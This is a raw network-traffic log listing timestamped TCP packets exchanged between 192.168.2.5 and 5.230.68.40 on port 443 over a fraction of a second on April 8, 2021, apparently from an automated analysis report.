Apr 8, 2021 18:46:40.069354057 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.069377899 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.069418907 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069489956 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069516897 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069542885 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069549084 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.069562912 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069581985 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.069590092 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069617987 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069622040 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.069644928 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069675922 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.069698095 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069760084 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069816113 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.069844961 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069874048 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069900036 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069926023 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.069930077 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.069951057 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.069952965 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.070002079 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.070065975 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.070072889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.070116043 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.070220947 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.071892977 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.073065996 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.126171112 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.126254082 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.126311064 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.126339912 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.126365900 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.126377106 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.126421928 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.126473904 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.126477957 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.126555920 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.126615047 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.126624107 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.126650095 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.126702070 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.126704931 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.126760006 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.126811028 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.126852989 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.126869917 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.126904011 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.126962900 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.127010107 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.127022982 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.127031088 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.127074957 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.127125025 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.127173901 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.127177954 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.127218008 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.127266884 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.127306938 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.127315998 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.127317905 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.127366066 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.127424002 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.127429008 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.127479076 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.127515078 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.127559900 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.127563953 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.127609968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.127614021 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.127681017 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.127734900 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.127778053 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.127789021 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.127849102 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.127902985 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.127938986 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.127957106 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.127965927 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.128027916 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128082037 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128158092 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128158092 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.128211975 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128258944 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128261089 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.128295898 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128320932 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.128360987 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128417969 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128467083 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128509998 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.128518105 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128519058 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.128572941 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128627062 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128669977 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.128676891 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128729105 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128743887 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.128788948 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128842115 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128854036 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.128865004 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128881931 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128904104 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128923893 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128940105 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.128947020 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128978968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.128981113 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.128992081 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129004002 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129018068 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129019976 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.129033089 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.129045010 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129076958 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129086018 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.129093885 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129117966 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129148006 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129162073 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.129170895 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129188061 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.129201889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129223108 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.129232883 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129264116 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129295111 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.129297972 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129329920 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129358053 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.129379988 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129437923 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129472017 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129473925 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.129493952 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129518032 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129556894 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129571915 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.129582882 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129596949 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.129604101 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129620075 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129642010 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129658937 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.129662991 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129682064 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129687071 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.129703999 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129725933 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129726887 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.129749060 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129770041 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129775047 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.129796982 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129801035 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.129821062 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129843950 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129858017 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.129865885 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129883051 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129904032 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129918098 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.129925966 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129945040 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.129950047 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.129977942 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.130001068 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.130007029 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.130139112 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.130342007 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.130367041 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.130389929 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.130410910 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.130626917 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.130650997 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.130671024 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.130688906 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.130722046 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.130753040 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.130783081 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.130814075 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.130820990 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.130841970 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.130868912 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.130883932 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.130893946 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.130924940 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.130951881 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.130995989 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.131092072 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.131122112 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.131150961 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.131180048 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.131189108 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.131206036 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.131220102 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.131251097 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.131252050 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.131287098 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.131341934 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.131755114 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.132102966 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.132360935 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.132378101 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.132436991 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.132472992 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.132492065 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.132507086 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.132527113 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.132541895 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.132544994 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.132561922 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.132570028 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.132603884 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.132642984 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.132659912 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.132688999 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.133140087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.133167982 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.133188963 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.133220911 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.133250952 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.133306980 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.133332968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.133356094 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.133380890 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.133497000 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.133522987 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.133544922 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.133569002 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.133574009 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.133594990 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.133606911 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.133619070 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.133630037 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.133637905 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.133685112 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.135118008 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.162200928 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.162256002 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.162285089 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.162324905 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.162353992 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.162381887 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.162379026 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.162415028 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.162437916 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.162442923 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.162446022 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.162471056 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.162502050 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.162527084 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.162552118 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.162576914 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.162595987 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.162595987 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.162657022 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.191020012 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191052914 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191076994 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191101074 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191123962 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191144943 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191167116 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191198111 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191195965 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.191220045 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191272974 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.191282034 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.191303968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191332102 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191355944 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191374063 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191389084 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.191422939 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191462994 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191463947 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.191487074 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191514969 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191536903 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191554070 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.191560030 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191570997 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.191585064 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191621065 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.191625118 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191648960 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191672087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191680908 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.191688061 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191711903 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191729069 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191745996 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.191751957 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191766977 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.191792011 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191812992 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191816092 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.191837072 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191858053 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191890955 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191895962 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.191914082 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.191926003 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191936016 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191957951 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191982031 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.191996098 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192006111 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192024946 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192033052 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192051888 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192060947 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192075968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192097902 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192116976 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192117929 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192145109 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192147970 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192172050 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192197084 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192203999 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192222118 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192248106 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192248106 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192271948 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192296028 CEST	443	49727	5.230.68.40	192.168.2.5
